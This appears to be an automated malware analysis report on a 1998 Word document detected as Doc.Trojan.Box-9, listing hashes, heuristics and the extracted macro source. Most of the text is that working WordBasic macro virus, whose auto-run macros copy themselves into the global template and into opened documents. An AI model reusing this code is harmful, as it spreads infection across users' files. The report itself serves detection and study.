Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a39829f4835c3ee…

MALICIOUS

Office (OLE)

51.5 KB Created: 1998-04-10 15:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 14cd916c477a18b6b69d2bffe217b169 SHA-1: 9bdfb91204397b06ebcd72be18c104688eca791a SHA-256: 7a39829f4835c3eee0eb036c34a5ef2f10a3e7b9a707c93ca579c878ee8d167e
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits high-confidence indicators of malicious VBA macros, including legacy WordBasic markers and the presence of AutoOpen, AutoClose, and Box2 macros. The AutoClose macro attempts to copy itself and other macros (AutoOpen, AutoNew, Box2) to the template specified by the document's template property, indicating a propagation mechanism. The ClamAV detection 'Doc.Trojan.Box-9' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Box-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Box-9
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Name:="AutoOpen", _
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "AutoClose"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7470 bytes
SHA-256: 9b22ae0f2d2060e19df82a15463823900a838ff814894d4036d97f4ff5d8f8a5
Detection
ClamAV: Doc.Trojan.Box-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileTemplates"

Public Sub MAIN()
Attribute MAIN.VB_Description = "更改使用中範本和範本選項"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileTemplates.MAIN"
'Dim dlg As FileTemplates
'GetCurValues dlg
'Dialog dlg
'FileTemplates dlg
End Sub

Attribute VB_Name = "ToolsMacro"

Public Sub MAIN()
Attribute MAIN.VB_Description = "執行,建立,刪除或修訂巨集"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ToolsMacro.MAIN"
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.ToolsMacro(False)
WordBasic.CurValues.ToolsMacro dlg
'Dialog dlg
'ToolsMacro dlg
End Sub

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim A$
Dim B$
Dim macro1
Dim i
Dim N
Dim macro2
Dim j
Dim NN
On Error Resume Next
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo dlg
A$ = _
dlg.Template
B$ = _
WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 1)
macro1 = WordBasic.CountMacros(0)
If macro1 > 0 Then
For i = 1 To macro1
If WordBasic.[MacroName$](i, 0) = "Box2" Then N = 1
Next i
End If
If N <> 1 Then
WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="AutoClose", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="AutoOpen", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="AutoNew", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="Box2", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="ToolsMacro", _
Tab:=1 + 1 + _
1


WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="FileTemplates", _
Tab:=1 + 1 + _
1


End If

macro2 = WordBasic.CountMacros(1)
If macro2 > 0 Then
   For j = 1 To macro2
       If WordBasic.[MacroName$](j, 1) = "Box2" Then NN = 1
   Next j
End If
If NN <> 1 Then

WordBasic.FileSaveAs _
Format:= _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="AutoClose", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="AutoOpen", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="AutoNew", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="Box2", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="ToolsMacro", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="FileTemplates", _
Tab:=1 + 1 + _
1

End If

exit_:

End Sub


Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim A$
Dim B$
Dim macro1
Dim i
Dim N
Dim macro2
Dim j
Dim NN
On Error Resume Next
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo dlg
A$ = _
dlg.Template
B$ = _
WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 1)
macro1 = WordBasic.CountMacros(0)
If macro1 > 0 Then
For i = 1 To macro1
If WordBasic.[MacroName$](i, 0) = "Box2" Then N = 1
Next i
End If
If N <> 1 Then
WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="AutoClose", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="AutoOpen", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="AutoNew", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="Box2", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="ToolsMacro", _
Tab:=1 + 1 + _
1


WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="FileTemplates", _
Tab:=1 + 1 + _
1


End If

macro2 = WordBasic.CountMacros(1)
If macro2 > 0 Then
   For j = 1 To macro2
       If WordBasic.[MacroName$](j, 1) = "Box2" Then NN = 1
   Next j
End If
If NN <> 1 Then

WordBasic.FileSaveAs _
Format:= _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="AutoClose", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="AutoOpen", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="AutoNew", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="Box2", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="ToolsMacro", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="FileTemplates", _
Tab:=1 + 1 + _
1

End If

exit_:

End Sub


Attribute VB_Name = "AutoNew"

Public Sub MAIN()
Dim A$
Dim B$
Dim macro1
Dim i
Dim N
Dim macro2
Dim j
Dim NN
On Error Resume Next
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo dlg
A$ = _
dlg.Template
B$ = _
WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 1)
macro1 = WordBasic.CountMacros(0)
If macro1 > 0 Then
For i = 1 To macro1
If WordBasic.[MacroName$](i, 0) = "Box2" Then N = 1
Next i
End If
If N <> 1 Then
WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="AutoClose", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="AutoOpen", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="AutoNew", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="Box2", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="ToolsMacro", _
Tab:=1 + 1 + _
1


WordBasic.Organizer _
Copy:=1, _
Source:=B$, _
Destination:=A$, _
Name:="FileTemplates", _
Tab:=1 + 1 + _
1


End If

macro2 = WordBasic.CountMacros(1)
If macro2 > 0 Then
   For j = 1 To macro2
       If WordBasic.[MacroName$](j, 1) = "Box2" Then NN = 1
   Next j
End If
If NN <> 1 Then

WordBasic.FileSaveAs _
Format:= _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="AutoClose", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="AutoOpen", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="AutoNew", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="Box2", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="ToolsMacro", _
Tab:=1 + 1 + _
1

WordBasic.Organizer _
Copy:=1, _
Source:=A$, _
Destination:=B$, _
Name:="FileTemplates", _
Tab:=1 + 1 + _
1

End If

exit_:

End Sub


Attribute VB_Name = "Box2"

Public Sub MAIN()
Rem new macro virus ---- BOX2
Rem new macro virus ---- BOX2
Rem new macro virus ---- BOX2
Rem new macro virus ---- BOX2
End Sub

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